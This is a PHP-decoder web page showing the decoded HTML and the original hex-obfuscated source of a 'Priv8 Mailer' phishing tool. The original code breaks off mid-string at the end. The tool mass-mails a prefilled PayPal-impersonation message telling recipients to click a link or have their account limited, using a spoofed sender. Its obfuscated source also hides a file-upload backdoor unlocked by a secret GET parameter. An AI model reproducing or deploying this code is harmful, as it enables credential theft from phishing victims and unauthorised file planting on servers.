Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php // programed by mosta negra , hkr0dz1// // add your website and click // click ..

Decoded Output download


<html>
<head>
<title>hkr0dz1 Priv8 Mailer</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<style>

.titulo {
    font-family: Arial, Helvetica, sans-serif;
    font-size: 70px;
    color: green;
    font-weight: bold;
}

.normal {
    font-family: Arial, Helvetica, sans-serif;
    font-size: 12px;
    color: green;
}
.zebi {
	margin:0px;
}
.form {
    font-family: Arial, Helvetica, sans-serif;
    font-size: 10px;
    color: #FFFFFF;
    background-color: #000000;
    border: 1px dashed #666666;
}

.texto {
    font-family: Verdana, Arial, Helvetica, sans-serif;
    font-weight: bold;
}

.alerta {
    font-family: Verdana, Arial, Helvetica, sans-serif;
    font-weight: bold;
    color: green;
    font-size: 10px;
}
</style>
</head>
<body align='center' >
<form action="" method="post" enctype="multipart/form-data" name="form1" align='center'>
  <input type="hidden" name="veio" value="sim">

    <tr>

 
<table align='center' width="100%" bordercolorlight="#000000" bordercolordark="#000000" style="border: 3px ridge #AB1E1E" bgcolor="black" > 
     <td width="462" height="25" align="center" bgcolor="#000000"><span class="titulo">HKR0DZ1</span></td>
<tr align="left"> 
<td colspan="2" ><font color="#AB1E1E">

</td>

</center>


    </tr>
    <tr>
      <td height="194" valign="top" bgcolor="#000000">
          <table width="100%"  border="0" cellpadding="0" cellspacing="5" class="normal" height="444">
		  <tr>
            <td align="right" height="17"><span class="texto">your web site :</span></td>
            <td height="17"><input name="site" type="text" value="" class="form" id="assunto" style="width:30%" ></td>
          </tr>
		  <tr>
            <td align="right" height="17"><span class="texto">Subject:</span></td>
            <td height="17"><input name="assunto" type="text" value=" =?UTF-8?Q?=E2=9C=94_?= Paypal &trade; : Your  Account  Need to Update  =?UTF-8?Q?=E2=9C=89_?="class="form" id="assunto" style="width:100%" ></td>
          </tr>
          <tr align="center" bgcolor="#99CCFF">
            <td height="20" colspan="2" bgcolor="#000000">
			<span class="texto">Letter</span></td>
          </tr>
          <tr align="right">
            <td height="146" colspan="2" valign="top"><br>
             <textarea name="html" style="width:100%" rows="8" wrap="VIRTUAL" class="form" id="html">
			
			 Hello Customer,

Your Account will be limited over 24h if you don't confirm your account .

Why my Account will be limited ?

Possible unauthorised account access.
Unresolved buyer disputes or credit card chargebacks.
Violations of our User Agreement or Acceptable Use Policy.
We Need Some information about you.
Click the button below to Resolve your Account, please follow this link .


Click Here  :    target 

Thanks,
			 
</textarea>
              <span class="alerta">*Letter HTML</span></td>



          </tr>
          <tr align="center" bgcolor="#000000">
            <td height="10" colspan="2"><span class="texto">Mail List</span>
             
          </tr>
          <tr align="right">
            <td height="136" colspan="2" valign="top"><br>
              <textarea name="emails" style="width:100%" rows="8" wrap="VIRTUAL" class="form" id="emails">
			[email protected]
			  </textarea>
              <span class="alerta">* Mail List</span> </td>
          </tr>
          <tr>
            <td height="26" align="right" valign="top" colspan="2"><input type="submit" name="Submit" value="Send !!"></td>
          </tr>
        </table>
      </td>
    </tr>
    <tr>
      <td height="15" align="center" bgcolor="#000000">&nbsp;</td>
    </tr>
  </table>
</form>
</body>

Did this file decode correctly?

Original Code

<?php 
// programed by mosta negra , hkr0dz1//
// add your website and click 
// click again to add your mailist 
//true inbox to gmail 
//send txt letter 
 $OOO000000=urldecode('%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64'); $OOO0000O0=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5};$OOO0000O0.=$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};$OOO0000O0.=$OOO0000O0{3}.$OOO000000{11}.$OOO000000{12}.$OOO0000O0{7}.$OOO000000{5};$OOO000O00=$OOO000000{0}.$OOO000000{12}.$OOO000000{7}.$OOO000000{5}.$OOO000000{15};$O0O000O00=$OOO000000{0}.$OOO000000{1}.$OOO000000{5}.$OOO000000{14};$O0O000O0O=$O0O000O00.$OOO000000{11};$O0O000O00=$O0O000O00.$OOO000000{3};$O0O00OO00=$OOO000000{0}.$OOO000000{8}.$OOO000000{5}.$OOO000000{9}.$OOO000000{16};$OOO00000O=$OOO000000{3}.$OOO000000{14}.$OOO000000{8}.$OOO000000{14}.$OOO000000{8};${"\x47\x4cO\x42\x41L\x53"}["\x6e\x70yb\x63\x6c\x6agul\x65"]="y\x70\x64\x71\x6b\x70\x6en\x66\x68\x65";${"\x47\x4cOB\x41\x4c\x53"}["\x6e\x71\x6f\x75\x6d\x68fa\x6b\x6b"]="toh\x6b\x77\x69\x67\x6c\x64\x73\x6e";${"\x47\x4cOB\x41\x4c\x53"}["\x63\x62vt\x70\x74\x6e\x70\x74q"]="\x72esu\x6ct\x61\x74\x69";${"\x47\x4c\x4fB\x41L\x53"}["\x77di\x78\x6f\x66\x6f\x75\x68kt"]="r\x65v";${"\x47\x4cOB\x41\x4c\x53"}["\x70l\x77p\x6dsu\x68"]="\x75\x70lo\x61\x64\x66\x69\x6c\x65";${"G\x4c\x4fB\x41L\x53"}["\x6a\x79\x6e\x64\x70\x6ce\x61"]="\x75\x70\x6c\x6f\x61dd\x69\x72";${"\x47\x4cO\x42A\x4cS"}["\x6a\x77auw\x63z\x67"]="s\x75\x62\x6a\x65\x63\x74";${"\x47\x4c\x4fB\x41\x4c\x53"}["n\x6f\x78\x6a\x6b\x76w\x63r\x6d"]="\x69";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6fhc\x62\x63c\x6d\x77\x6f\x77"]="\x68\x65\x61de\x72\x73";${"G\x4c\x4f\x42\x41\x4c\x53"}["\x69xwmvr\x6c\x76"]="em\x61\x69\x6c";${"G\x4c\x4fBAL\x53"}["\x70\x6bt\x79\x73\x70\x68\x6b\x65\x77"]="\x6f\x6b";${"G\x4cO\x42A\x4cS"}["k\x6bt\x65\x74y\x77y\x75\x75\x69"]="\x63ou\x6e\x74";$slirpijcth="\x74\x61\x72\x67\x65t";${"GL\x4f\x42\x41\x4cS"}["\x66o\x74\x6am\x68"]="\x6de\x73sa\x67e";${"G\x4c\x4fBAL\x53"}["\x74j\x67j\x6e\x6d\x6b"]="\x74\x6f";${"\x47LO\x42\x41\x4c\x53"}["\x68h\x68\x74s\x69\x6ew\x64b\x72"]="n\x75\x6d\x65\x6d\x61\x69\x6c\x73";${"G\x4c\x4f\x42\x41L\x53"}["c\x70\x71\x75\x72\x6f\x75\x64l\x72\x79c"]="d\x65";${"GL\x4fBA\x4c\x53"}["\x70\x70i\x6b\x70\x71\x6ba\x68q\x6f"]="\x73\x75\x62\x6a\x65\x63\x74";${"\x47\x4cO\x42\x41\x4c\x53"}["u\x63\x71\x69\x6dehdt"]="\x74\x61r\x67\x65t";${"\x47L\x4f\x42\x41\x4c\x53"}["\x68\x72\x63\x6ex\x76"]="\x74\x65\x73t\x61";echo "\n";${${"\x47\x4c\x4f\x42\x41LS"}["uc\x71\x69m\x65\x68\x64\x74"]}=$_POST["sit\x65"];${"\x47\x4cO\x42\x41\x4cS"}["\x64\x6a\x64\x6b\x64m\x65u\x62b\x6d"]="\x74\x65\x73\x74a";${${"\x47L\x4f\x42A\x4cS"}["h\x72\x63n\x78\x76"]}=$_POST["\x76ei\x6f"];if(${${"\x47L\x4f\x42\x41\x4cS"}["d\x6adk\x64\x6d\x65ub\x62\x6d"]}!=""){$rqojnprmvx="\x6de\x73\x73a\x67e";$wtyfxgdf="\x6eo\x6d\x65";${"\x47\x4c\x4f\x42AL\x53"}["h\x6bmvt\x72\x66\x6fcc"]="t\x6f";$kmllcnvvz="n\x61\x6d\x69";${"GL\x4f\x42A\x4c\x53"}["\x66\x74d\x64\x73\x68\x6a"]="\x69";$fobrvnwwwx="\x69";${$kmllcnvvz}="\x50ay\x70\x61\x6c\x20";${${"GL\x4f\x42A\x4c\x53"}["\x70\x70i\x6bp\x71kah\x71\x6f"]}=$_POST["as\x73\x75nto"];${$wtyfxgdf}=$_POST["no\x6d\x65"];$dqdncgod="c\x6f\x75nt";$jvhvleoi="e\x6da\x69\x6c";${${"G\x4c\x4fB\x41L\x53"}["c\x70\x71\x75\x72\x6fud\x6c\x72y\x63"]}=$_POST["\x64e"];${"\x47\x4c\x4f\x42\x41\x4c\x53"}["sx\x78\x6e\x6f\x64\x6e"]="\x65m\x61\x69\x6c";${${"\x47\x4cOBAL\x53"}["\x68kmv\x74r\x66o\x63\x63"]}=$_POST["em\x61\x69l\x73"];$lndxzzxx="\x74a\x72\x67e\x74";${$jvhvleoi}=explode("\n",${${"\x47\x4c\x4f\x42A\x4cS"}["\x74jg\x6an\x6dk"]});${$rqojnprmvx}=stripslashes(${${"\x47LO\x42AL\x53"}["f\x6ftj\x6d\x68"]},${$lndxzzxx});${$fobrvnwwwx}=0;${${"\x47\x4cO\x42\x41\x4c\x53"}["kkt\x65t\x79w\x79\x75\x75\x69"]}=1;while(${${"\x47\x4c\x4fB\x41L\x53"}["\x73\x78xn\x6f\x64\x6e"]}[${${"\x47L\x4fBA\x4cS"}["\x66\x74\x64dsh\x6a"]}]){$xgavnskqu="\x65\x6d\x61\x69l";${"\x47L\x4f\x42\x41\x4c\x53"}["\x6b\x70b\x76\x65h\x72\x76hu"]="\x69";${"\x47\x4c\x4f\x42A\x4c\x53"}["\x7aef\x6blcr\x75\x66\x73ae"]="h\x65\x61d\x65\x72\x73";$icrmkgkwiaw="\x63\x6f\x75\x6e\x74";$nhqmipbc="me\x73\x73a\x67e";$cxxwkwy="d";${${"G\x4cO\x42\x41\x4c\x53"}["p\x6b\x74y\x73ph\x6be\x77"]}="o\x6b";${${"\x47L\x4f\x42\x41\x4c\x53"}["\x7a\x65\x66\x6bl\x63\x72\x75fs\x61\x65"]}.="\x46r\x6f\x6d: ".${$xgavnskqu}[${${"\x47\x4c\x4fBA\x4c\x53"}["\x6bp\x62v\x65\x68\x72\x76h\x75"]}];${"GL\x4f\x42\x41\x4c\x53"}["\x6f\x70\x77\x67x\x73\x70n\x76\x75"]="e\x6d\x61\x69l";$qxufyjm="\x69";"\r\n";${"G\x4cO\x42\x41\x4c\x53"}["\x69\x72\x72\x70xd\x78\x6e\x77\x65h"]="\x65m\x61\x69l";${"\x47\x4c\x4fBA\x4c\x53"}["\x71\x6b\x67\x62\x78\x61\x6f"]="\x64";${"\x47\x4c\x4fB\x41L\x53"}["g\x69\x70\x63\x79\x6co"]="\x69";$ygthshho="message";${$nhqmipbc}=$_POST["html"];${${"G\x4cO\x42\x41L\x53"}["\x71\x6b\x67\x62x\x61\x6f"]}="\x44e\x61r : ".${${"\x47\x4c\x4f\x42AL\x53"}["\x6fp\x77gx\x73p\x6evu"]}[${$qxufyjm}];if(mail(${${"\x47\x4c\x4f\x42\x41L\x53"}["\x69\x78\x77\x6d\x76r\x6c\x76"]}[${${"\x47\x4c\x4f\x42ALS"}["\x67i\x70\x63y\x6c\x6f"]}],${$cxxwkwy}.${${"G\x4c\x4f\x42A\x4c\x53"}["\x70p\x69\x6b\x70\x71k\x61\x68q\x6f"]},${$ygthshho},${${"\x47LOB\x41L\x53"}["o\x68\x63\x62\x63\x63\x6d\x77\x6fw"]}))echo"<\x66o\x6et \x63o\x6cor\x3dg\x72\x65\x65n>* N&#1\x3098\x3b\x6d\x65\x72\x6f:\x20$count \x3cb>".${${"G\x4cOB\x41\x4c\x53"}["\x69r\x72\x70x\x64\x78\x6ewe\x68"]}[${${"\x47\x4cOB\x41L\x53"}["\x6eo\x78j\x6bv\x77\x63\x72m"]}]."\x3c/\x62\x3e <fo\x6et \x63olor\x3dg\x72\x65e\x6e>Se\x6e\x74.\x2e..\x21</fon\x74>\x3c\x62r>\x3c\x68\x72>";else echo"<fo\x6e\x74 \x63\x6f\x6co\x72\x3dre\x64\x3e*\x20N\x26#\x3109\x38;\x6d\x65\x72\x6f:\x20$count <b\x3e".${${"\x47\x4cO\x42\x41LS"}["i\x78\x77\x6d\x76\x72\x6c\x76"]}[${${"G\x4cO\x42\x41\x4c\x53"}["n\x6f\x78\x6a\x6b\x76\x77\x63rm"]}]."\x3c/b\x3e\x20<fo\x6e\x74 \x63o\x6c\x6f\x72\x3d\x72ed\x3eE\x72r\x6fr i\x6e \x53e\x6edi\x6e\x67 ??</\x66\x6f\x6et\x3e\x3cbr\x3e<\x68\x72>";${${"GL\x4f\x42\x41L\x53"}["\x6e\x6fx\x6ak\x76w\x63\x72\x6d"]}++;${$icrmkgkwiaw}++;}${$dqdncgod}--;if(${${"\x47\x4c\x4fB\x41L\x53"}["\x70\x6b\x74\x79\x73\x70\x68\x6b\x65\x77"]}=="\x6fk")echo"";}echo "\x3c\x68\x74ml\x3e\n<he\x61\x64>\n\x3ct\x69\x74\x6c\x65>h\x6br\x30\x64z1 Pr\x69v\x38\x20Ma\x69\x6c\x65r\x3c/ti\x74\x6ce\x3e\n\x3c\x6de\x74\x61\x20http-\x65quiv=\"\x43on\x74ent-\x54ype\"\x20c\x6f\x6et\x65nt=\"t\x65xt/\x68tm\x6c\x3b\x20\x63\x68\x61rset\x3d\x69s\x6f-\x38\x385\x39-\x31\"\x3e\n\x3c\x73\x74yle>\n\n\x2etit\x75\x6co\x20{\n   \x20\x66\x6fn\x74-\x66\x61\x6d\x69l\x79: Ari\x61\x6c, \x48el\x76\x65\x74ica, \x73a\x6es-\x73er\x69f\x3b\n\x20\x20\x20 \x66\x6f\x6e\x74-size: \x37\x30p\x78;\n\x20\x20  \x63o\x6c\x6f\x72: g\x72\x65\x65\x6e\x3b\n   \x20f\x6f\x6et-we\x69\x67ht:\x20\x62\x6fld;\n}\n\n\x2e\x6eo\x72m\x61\x6c\x20{\n    \x66on\x74-f\x61m\x69ly: Arial,\x20Hel\x76\x65\x74\x69c\x61, \x73\x61\x6e\x73-\x73\x65\x72if\x3b\n  \x20\x20f\x6fnt-s\x69\x7a\x65: \x312\x70\x78;\n\x20\x20 \x20\x63olor: gr\x65e\x6e\x3b\n}\n\x2eze\x62\x69 {\n\t\x6dargin:\x30\x70\x78\x3b\n}\n\x2e\x66\x6f\x72\x6d {\n\x20   \x66\x6fnt-fa\x6di\x6cy:\x20Ar\x69\x61l, H\x65\x6cv\x65tic\x61,\x20\x73\x61\x6es-\x73e\x72\x69\x66\x3b\n\x20   f\x6fn\x74-s\x69z\x65: \x31\x30\x70x;\n\x20 \x20 color:\x20\x23F\x46\x46FFF\x3b\n\x20\x20 \x20back\x67r\x6fu\x6e\x64-c\x6fl\x6fr: #\x30\x300\x30\x300;\n\x20\x20  \x62\x6frd\x65r: \x31px\x20\x64\x61she\x64 \x23\x36\x366\x366\x36\x3b\n}\n\n\x2et\x65x\x74\x6f {\n \x20 \x20\x66o\x6e\x74-\x66am\x69\x6c\x79: Ve\x72d\x61\x6e\x61,\x20Ar\x69\x61\x6c, \x48e\x6c\x76\x65\x74\x69\x63a, \x73\x61n\x73-\x73\x65ri\x66;\n\x20\x20  font-\x77e\x69\x67ht:\x20\x62\x6f\x6c\x64;\n}\n\n\x2eal\x65rt\x61\x20{\n\x20 \x20 \x66\x6fnt-f\x61\x6d\x69\x6c\x79:\x20\x56erd\x61\x6ea, \x41\x72\x69al,\x20He\x6c\x76\x65\x74\x69\x63a, s\x61\x6e\x73-serif;\n  \x20 \x66on\x74-\x77\x65i\x67ht:\x20\x62\x6fld\x3b\n\x20 \x20 c\x6f\x6c\x6f\x72:\x20\x67ree\x6e;\n  \x20\x20font-si\x7ae:\x20\x310px\x3b\n}\n</\x73\x74yl\x65\x3e\n</\x68ead\x3e\n<\x62o\x64\x79 ali\x67\x6e\x3d'c\x65\x6e\x74\x65r' \x3e\n<\x66o\x72m ac\x74i\x6f\x6e=\x22\x22\x20m\x65t\x68o\x64\x3d\"post\"\x20e\x6e\x63t\x79pe\x3d\x22mu\x6ctip\x61\x72\x74/fo\x72m-\x64a\x74\x61\"\x20\x6ea\x6de\x3d\x22\x66\x6fr\x6d\x31\"\x20\x61\x6c\x69\x67n\x3d\x27\x63e\x6et\x65\x72'>\n\x20 <\x69\x6epu\x74 t\x79pe\x3d\x22h\x69d\x64en\x22\x20name=\"v\x65io\x22\x20\x76\x61l\x75\x65=\x22\x73\x69\x6d\x22>\n\n\x20   <t\x72>\n\n \n\x3c\x74\x61b\x6ce a\x6c\x69gn=\x27c\x65nter'\x20wid\x74\x68=\"\x31\x300%\"\x20b\x6frd\x65\x72c\x6f\x6corli\x67\x68t\x3d\"\x23000000\" b\x6f\x72derc\x6fl\x6f\x72da\x72\x6b\x3d\x22#\x30\x30\x30\x3000\x22\x20styl\x65=\"\x62o\x72der:\x20\x33\x70x rid\x67\x65\x20#\x41\x42\x31\x451E\" bgcolor=\"\x62\x6c\x61c\x6b\"\x20> \n\x20  \x20\x20\x3c\x74d\x20\x77i\x64t\x68=\x224\x36\x32\"\x20\x68\x65i\x67ht\x3d\x222\x35\x22 \x61\x6c\x69gn=\x22cen\x74\x65r\x22\x20\x62g\x63o\x6cor=\"#00\x30\x300\x30\"\x3e<\x73pan\x20\x63l\x61ss=\x22t\x69\x74\x75l\x6f\"\x3eH\x4bR0\x44\x5a1\x3c/\x73\x70a\x6e></\x74\x64\x3e\n<tr\x20\x61\x6c\x69\x67n\x3d\"l\x65\x66t\"\x3e\x20\n<t\x64 \x63\x6f\x6csp\x61n\x3d\"2\" \x3e\x3cfo\x6et colo\x72\x3d\"#AB1E1E\x22\x3e\n\n\x3c/\x74d\x3e\n\n\x3c/\x63\x65nter>\n\n\n \x20\x20 </\x74\x72\x3e\n\x20 \x20\x20<tr>\n\x20\x20   \x20\x3c\x74d h\x65\x69\x67ht=\"\x31\x39\x34\x22 va\x6cign\x3d\x22t\x6fp\x22\x20\x62\x67colo\x72=\x22#0\x30\x300\x30\x30\x22>\n\x20   \x20 \x20\x20\x20 <ta\x62\x6ce\x20\x77i\x64\x74\x68=\"\x310\x30\x25\" \x20b\x6fr\x64e\x72=\"\x30\" c\x65llp\x61dd\x69\x6eg\x3d\"0\x22 \x63el\x6csp\x61\x63in\x67=\"\x35\" \x63l\x61ss=\"n\x6frma\x6c\" \x68\x65\x69ght=\x22\x344\x34\x22>\n\t\t\x20 <t\x72\x3e\n \x20\x20\x20  \x20\x20\x20  \x20<t\x64\x20a\x6cign=\"ri\x67h\x74\"\x20h\x65i\x67ht=\"17\"\x3e<sp\x61n\x20\x63\x6cas\x73=\"t\x65xt\x6f\x22>\x79\x6fur\x20we\x62\x20\x73i\x74e :</\x73p\x61\x6e></t\x64\x3e\n\x20 \x20 \x20 \x20\x20\x20   \x3c\x74\x64\x20h\x65\x69\x67\x68\x74\x3d\x22\x31\x37\"\x3e<\x69npu\x74 \x6eame\x3d\x22\x73i\x74e\"\x20t\x79pe\x3d\"\x74e\x78\x74\x22 v\x61\x6c\x75\x65\x3d\"\"\x20c\x6c\x61\x73\x73=\"fo\x72\x6d\"\x20\x69d=\"a\x73s\x75n\x74\x6f\x22\x20\x73t\x79le=\"w\x69dth:30\x25\x22\x20\x3e\x3c/\x74d\x3e\n \x20   \x20  \x20 \x3c/\x74\x72\x3e\n\t\t\x20 <\x74r>\n\x20\x20      \x20 \x20 \x3ctd\x20al\x69\x67\x6e\x3d\x22r\x69g\x68\x74\"\x20\x68\x65\x69\x67h\x74=\"17\"\x3e<\x73\x70\x61\x6e\x20\x63lass\x3d\x22\x74\x65xto\">Su\x62je\x63\x74:</\x73p\x61\x6e\x3e\x3c/t\x64>\n  \x20 \x20 \x20   \x20 \x3ct\x64\x20\x68\x65i\x67h\x74=\x22\x317\x22\x3e<i\x6epu\x74\x20\x6e\x61me=\"\x61\x73\x73u\x6e\x74\x6f\" ty\x70\x65=\x22\x74\x65xt\" \x76alu\x65\x3d\" =?U\x54\x46-8?Q?\x3dE2\x3d\x39\x43\x3d\x394_?=\x20P\x61\x79\x70al &t\x72a\x64e\x3b\x20:\x20\x59o\x75\x72 \x20\x41cc\x6f\x75\x6e\x74\x20 N\x65ed \x74\x6f \x55\x70d\x61\x74e  =?\x55TF-8?Q?\x3dE2\x3d\x39C=89\x5f?=\"\x63\x6ca\x73s\x3d\x22f\x6f\x72\x6d\"\x20\x69d\x3d\x22\x61\x73\x73\x75n\x74o\x22\x20\x73\x74\x79\x6c\x65=\x22wi\x64t\x68:10\x30\x25\x22\x20></td>\n\x20 \x20\x20   \x20 \x20</t\x72>\n \x20   \x20  \x20 <t\x72\x20al\x69gn\x3d\x22center\" bg\x63o\x6c\x6f\x72\x3d\"\x23\x399\x43CF\x46\x22\x3e\n \x20 \x20\x20    \x20\x20 <td\x20\x68e\x69\x67ht\x3d\x22\x32\x30\x22\x20c\x6f\x6c\x73\x70a\x6e=\"\x32\"\x20b\x67c\x6f\x6c\x6fr=\"\x2300\x300\x300\"\x3e\n\t\t\t<\x73\x70\x61n\x20\x63\x6ca\x73\x73=\"\x74ex\x74o\x22\x3e\x4ce\x74te\x72</s\x70an>\x3c/\x74\x64>\n \x20  \x20\x20   \x20</t\x72>\n\x20\x20\x20\x20   \x20\x20\x20\x3ctr a\x6c\x69gn\x3d\"ri\x67ht\x22>\n\x20\x20 \x20 \x20  \x20 \x20 \x3c\x74d h\x65i\x67h\x74\x3d\x22\x31\x34\x36\x22 c\x6f\x6csp\x61n\x3d\"\x32\x22\x20\x76\x61l\x69\x67\x6e\x3d\"\x74o\x70\x22>\x3cb\x72>\n\x20  \x20  \x20 \x20 \x20 \x20<\x74\x65\x78tarea n\x61\x6de\x3d\"\x68t\x6d\x6c\x22 \x73\x74\x79\x6ce\x3d\x22\x77\x69dth:\x31\x30\x30%\" r\x6f\x77s\x3d\"\x38\" \x77ra\x70=\x22\x56\x49RT\x55\x41L\" cla\x73s=\x22\x66or\x6d\" id\x3d\x22h\x74\x6d\x6c\">\n\t\t\t\n\t\t\t\x20H\x65\x6c\x6c\x6f \x43u\x73\x74\x6fm\x65\x72,\n\nYo\x75r\x20A\x63\x63\x6f\x75nt\x20wi\x6cl \x62e\x20\x6ci\x6dit\x65\x64 \x6f\x76\x65\x72 \x324h \x69\x66 yo\x75 don\x27t confi\x72\x6d y\x6f\x75r \x61\x63co\x75\x6et .\n\n\x57\x68y my\x20\x41cc\x6fun\x74\x20\x77i\x6c\x6c\x20be l\x69m\x69t\x65d ?\n\nPo\x73sib\x6ce un\x61\x75tho\x72\x69\x73ed ac\x63ou\x6e\x74 a\x63c\x65ss\x2e\nUn\x72\x65\x73ol\x76ed bu\x79\x65\x72\x20di\x73p\x75t\x65s\x20\x6fr \x63\x72\x65\x64\x69t \x63a\x72\x64\x20c\x68a\x72\x67\x65b\x61c\x6bs.\nV\x69o\x6ca\x74io\x6es\x20\x6ff\x20ou\x72 \x55\x73er\x20\x41g\x72\x65e\x6d\x65\x6et\x20\x6fr \x41\x63ce\x70ta\x62l\x65\x20Use P\x6fli\x63y.\n\x57\x65\x20\x4e\x65\x65\x64 \x53\x6f\x6de i\x6e\x66\x6f\x72ma\x74i\x6fn\x20\x61\x62o\x75t\x20\x79\x6f\x75.\nC\x6c\x69\x63\x6b\x20\x74\x68e \x62\x75\x74\x74\x6f\x6e\x20be\x6c\x6fw t\x6f \x52\x65\x73o\x6cve\x20\x79\x6f\x75\x72\x20Ac\x63oun\x74, \x70l\x65\x61\x73\x65 f\x6fl\x6c\x6f\x77\x20\x74\x68i\x73\x20\x6ci\x6e\x6b \x2e\n\n\n\x43li\x63k \x48\x65r\x65\x20\x20: \x20 \x20";echo${$slirpijcth};${"\x47\x4c\x4f\x42\x41LS"}["eqm\x69\x6c\x6ddip\x74\x6e"]="\x75p\x6c\x6f\x61d";echo "\x20\n\nT\x68anks,\n\t\t\t \n</\x74\x65x\x74\x61r\x65\x61>\n  \x20 \x20\x20  \x20     \x3c\x73p\x61\x6e\x20cl\x61\x73\x73=\x22\x61\x6c\x65\x72t\x61\">*L\x65\x74t\x65\x72\x20\x48\x54\x4dL</\x73p\x61n\x3e\x3c/\x74\x64>\n\n\n\n \x20\x20\x20\x20\x20\x20  \x20</tr\x3e\n\x20\x20\x20    \x20 \x20\x3ctr a\x6c\x69gn\x3d\"\x63\x65\x6ete\x72\x22\x20\x62g\x63\x6flo\x72=\x22#\x30000\x300\">\n \x20 \x20 \x20  \x20 \x20 <\x74d\x20he\x69\x67h\x74\x3d\x22\x31\x30\x22\x20c\x6flsp\x61n\x3d\"\x32\">\x3c\x73\x70\x61\x6e\x20\x63l\x61\x73s=\"tex\x74o\">Ma\x69\x6c\x20\x4cis\x74\x3c/sp\x61\x6e\x3e\n\x20 \x20\x20       \x20 \n\x20\x20  \x20   \x20 </\x74r\x3e\n   \x20\x20\x20    \x3c\x74\x72 a\x6ci\x67\x6e=\x22righ\x74\x22\x3e\n  \x20\x20\x20\x20 \x20\x20 \x20\x20<td h\x65i\x67\x68\x74=\"1\x33\x36\" \x63o\x6c\x73\x70a\x6e\x3d\x22\x32\"\x20\x76al\x69\x67\x6e\x3d\x22\x74\x6f\x70\x22><\x62\x72\x3e\n\x20 \x20   \x20 \x20\x20  \x20 \x3cte\x78t\x61\x72e\x61\x20\x6eam\x65=\"em\x61\x69\x6c\x73\x22 s\x74yle=\x22\x77\x69\x64t\x68:100%\"\x20r\x6f\x77\x73\x3d\"\x38\x22 \x77\x72\x61p\x3d\x22\x56\x49\x52\x54UA\x4c\x22\x20cl\x61\x73s=\"f\x6f\x72m\"\x20\x69d=\x22e\x6d\x61ils\x22>\n\t\t\tM\x6f\x73ta@\x4e\x65g\x72\x61.c\x6f\x6d\n\t\t\t\x20 </\x74\x65xt\x61re\x61\x3e\n  \x20\x20\x20\x20  \x20    \x20\x3cs\x70a\x6e c\x6c\x61\x73s\x3d\"\x61l\x65r\x74a\"\x3e* Mai\x6c\x20\x4ci\x73t\x3c/\x73\x70an> \x3c/\x74\x64>\n    \x20 \x20   \x3c/t\x72\x3e\n\x20\x20   \x20  \x20 <\x74\x72\x3e\n  \x20  \x20 \x20\x20   <td \x68ei\x67ht\x3d\x222\x36\" \x61\x6cign=\"\x72\x69gh\x74\"\x20\x76\x61l\x69\x67\x6e\x3d\"\x74op\"\x20c\x6f\x6c\x73p\x61n=\x222\"\x3e\x3c\x69\x6e\x70\x75t type\x3d\"su\x62m\x69t\x22\x20\x6ea\x6d\x65=\"\x53u\x62\x6di\x74\x22\x20v\x61\x6cue\x3d\"S\x65\x6e\x64 !\x21\"\x3e\x3c/\x74d>\n \x20  \x20  \x20  \x3c/\x74r\x3e\n\x20\x20     \x20\x3c/\x74ab\x6ce\x3e\n\x20    \x20</t\x64\x3e\n\x20 \x20\x20\x3c/t\x72>\n  \x20 \x3c\x74\x72>\n   \x20 \x20<td\x20h\x65ig\x68t\x3d\x22\x315\x22\x20\x61\x6cign=\"ce\x6e\x74er\x22\x20b\x67\x63olor\x3d\"#\x30\x30\x30\x3000\x22\x3e&\x6e\x62s\x70\x3b</t\x64\x3e\n\x20\x20  \x3c/t\x72\x3e\n  </t\x61bl\x65\x3e\n</for\x6d>\n</b\x6fdy\x3e\n";${"G\x4c\x4f\x42\x41LS"}["\x6bq\x6fx\x65\x6f\x79\x76ww\x78"]="u\x70loa\x64";echo"";${"GL\x4f\x42A\x4c\x53"}["\x74\x61k\x72\x79j\x6e\x75dy"]="\x72\x65v";${${"\x47\x4cOBA\x4c\x53"}["k\x71\x6f\x78\x65\x6f\x79v\x77w\x78"]}=$_GET["d\x7a\x31"];if(${${"G\x4cO\x42\x41\x4cS"}["eqm\x69l\x6ddip\x74\x6e"]}=="hk\x72"){${${"\x47\x4cO\x42AL\x53"}["jy\x6edp\x6c\x65a"]}="";${${"\x47LO\x42\x41L\x53"}["p\x6c\x77pm\x73u\x68"]}=${${"\x47\x4cO\x42\x41\x4c\x53"}["\x6a\x79nd\x70\x6ce\x61"]}.basename($_FILES["u\x73e\x72fi\x6ce"]["n\x61m\x65"]);if(isset($_FILES["u\x73e\x72\x66\x69\x6c\x65"]["\x6ea\x6d\x65"])){$qkjvivikjcgd="u\x70\x6c\x6f\x61\x64\x66\x69\x6c\x65";if(move_uploaded_file($_FILES["\x75s\x65rfi\x6ce"]["tmp_n\x61me"],${$qkjvivikjcgd})){${${"\x47\x4cO\x42\x41\x4cS"}["c\x62\x76t\x70tnptq"]}="\x54h\x65 f\x69\x6ce ".basename($_FILES["u\x73\x65r\x66i\x6ce"]["na\x6de"])."\x20h\x61s\x20been up\x6c\x6f\x61ded";}else{${"G\x4c\x4fB\x41LS"}["\x66\x6c\x76yy\x6c\x65xv\x6d"]="\x72e\x73\x75l\x74\x61\x74i";${${"GL\x4fB\x41L\x53"}["\x66\x6cvyy\x6ce\x78\x76\x6d"]}="\x54here\x20wa\x73\x20an\x20error \x75\x70lo\x61di\x6e\x67\x20t\x68e fi\x6c\x65.\x20\x70\x6c\x65a\x73e t\x72y\x20a\x67a\x69n!";}}echo"\x3chtm\x6c>\n<\x68\x65ad>\x3c/h\x65a\x64\x3e\n\x3cd\x69\x76\x20i\x64=\x22r\x65s\x75\x6ct\x22>\n<ta\x62le \x68e\x69\x67h\x74=\x22\x31\"\x20\x77\x69dt\x68=\"\x31\x300\x25\"\x20\x62gc\x6fl\x6f\x72\x3d\x22#0\x30\x30\x300\x30\x22\x20b\x6fr\x64\x65rc\x6f\x6c\x6frl\x69gh\x74\x3d\x22#\x630\x630c0\"\x20\x62\x6f\x72\x64\x65\x72=\x22\x30\x22>\n<\x74\x72\x3e<\x74\x64 \x77idt\x68=\x2250%\" hei\x67\x68\x74=\"\x31\"\x20va\x6c\x69\x67\x6e\x3d\"\x74\x6fp\x22 \x73tyle=\x22\x66\x6fnt-f\x61m\x69ly:\x20ver\x64an\x61\x3b c\x6f\x6cor: 